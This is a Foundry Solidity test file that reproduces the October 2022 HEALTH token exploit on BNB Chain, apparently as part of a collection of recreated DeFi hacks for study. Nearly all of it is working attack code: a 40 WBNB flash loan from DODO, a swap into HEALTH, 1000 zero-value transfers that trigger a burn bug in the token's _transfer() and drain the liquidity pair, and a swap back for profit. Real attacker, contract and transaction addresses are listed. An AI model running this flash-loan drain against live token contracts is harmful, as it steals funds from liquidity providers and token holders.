src/test/2022-10/HEALTH_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~16.64 BNB
8// Attacker : 0xDE78112FF006f166E4ccfe1dfE4181C9619D3b5D
9// Attack Contract : 0x80e5FC0d72e4814cb52C16A18c2F2B87eF1Ea2d4
10// Vulnerable Contract : 0x32B166e082993Af6598a89397E82e123ca44e74E
11// Attack Tx : https://bscscan.com/tx/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x32B166e082993Af6598a89397E82e123ca44e74E#code#L799
15 
16// @Analysis
17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1583073442433495040
18 
19contract ContractTest is Test {
20    IERC20 constant HEALTH_TOKEN = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);
21    IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
22    Uni_Pair_V2 constant WBNB_HEALTH_PAIR = Uni_Pair_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);
23    Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
24    address constant DODO_DVM = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
25 
26    function setUp() public {
27        vm.createSelectFork("bsc", 22_337_425);
28        // Adding labels to improve stack traces' readability
29        vm.label(address(WBNB_TOKEN), "WBNB");
30        vm.label(address(HEALTH_TOKEN), "HEALTH");
31        vm.label(address(WBNB_HEALTH_PAIR), "WBNB_HEALTH_PAIR");
32        vm.label(address(PS_ROUTER), "PS_ROUTER");
33        vm.label(DODO_DVM, "DODO_DVM");
34        vm.label(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56, "BUSD");
35        vm.label(0x64d868F307263f8566172fc42D75Ea03A5690271, "HEALTH_DEV_ADDRESS");
36    }
37 
38    function testExploit() public {
39        emit log_named_decimal_uint(
40            "[Start] Attacker WBNB balance before exploit", WBNB_TOKEN.balanceOf(address(this)), 18
41        );
42 
43        // Approving PancakeSwap router to spend attacker's WBNB and HEALTH
44        WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
45        HEALTH_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
46 
47        // Requesting 40 WBNB via flashloan from DODO DVM. Payload is in the callback (DPPFlashLoanCall).
48        DVM(DODO_DVM).flashLoan(40 * 1e18, 0, address(this), new bytes(1));
49 
50        emit log_named_decimal_uint(
51            "[End] Attacker WBNB balance after exploit", WBNB_TOKEN.balanceOf(address(this)), 18
52        );
53    }
54 
55    /*
56     * Callback function called by DODO DVM during the flashloan
57     */
58    function DPPFlashLoanCall(
59        address, /*sender*/
60        uint256, /*baseAmount*/
61        uint256, /*quoteAmount*/
62        bytes calldata /*data*/
63    ) external {
64        // Swap all WBNB to HEALTH
65        _WBNBToHEALTH();
66 
67        // Actual payload exploiting the vulnerability in `_transfer()` function
68        // This will make the `_transfer()` function burn a lot of HEALTH tokens
69        // from the pair, so increase its price in relation to WBNB
70        for (uint256 i = 0; i < 1000; i++) {
71            HEALTH_TOKEN.transfer(address(this), 0);
72        }
73 
74        // Swap all HEALTH to WBNB to repay the flashloan and keep the profit
75        _HEALTHToWBNB();
76 
77        // Returning only the 40 flashloaned WBNB
78        WBNB_TOKEN.transfer(DODO_DVM, 40 * 1e18);
79    }
80 
81    /**
82     * Auxiliary function to swap all WBNB to HEALTH
83     */
84    function _WBNBToHEALTH() internal {
85        address[] memory path = new address[](2);
86        path[0] = address(WBNB_TOKEN);
87        path[1] = address(HEALTH_TOKEN);
88        PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
89            WBNB_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
90        );
91    }
92 
93    /**
94     * Auxiliary function to swap all HEALTH to WBNB
95     */
96    function _HEALTHToWBNB() internal {
97        address[] memory path = new address[](2);
98        path[0] = address(HEALTH_TOKEN);
99        path[1] = address(WBNB_TOKEN);
100        PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
101            HEALTH_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
102        );
103    }
104}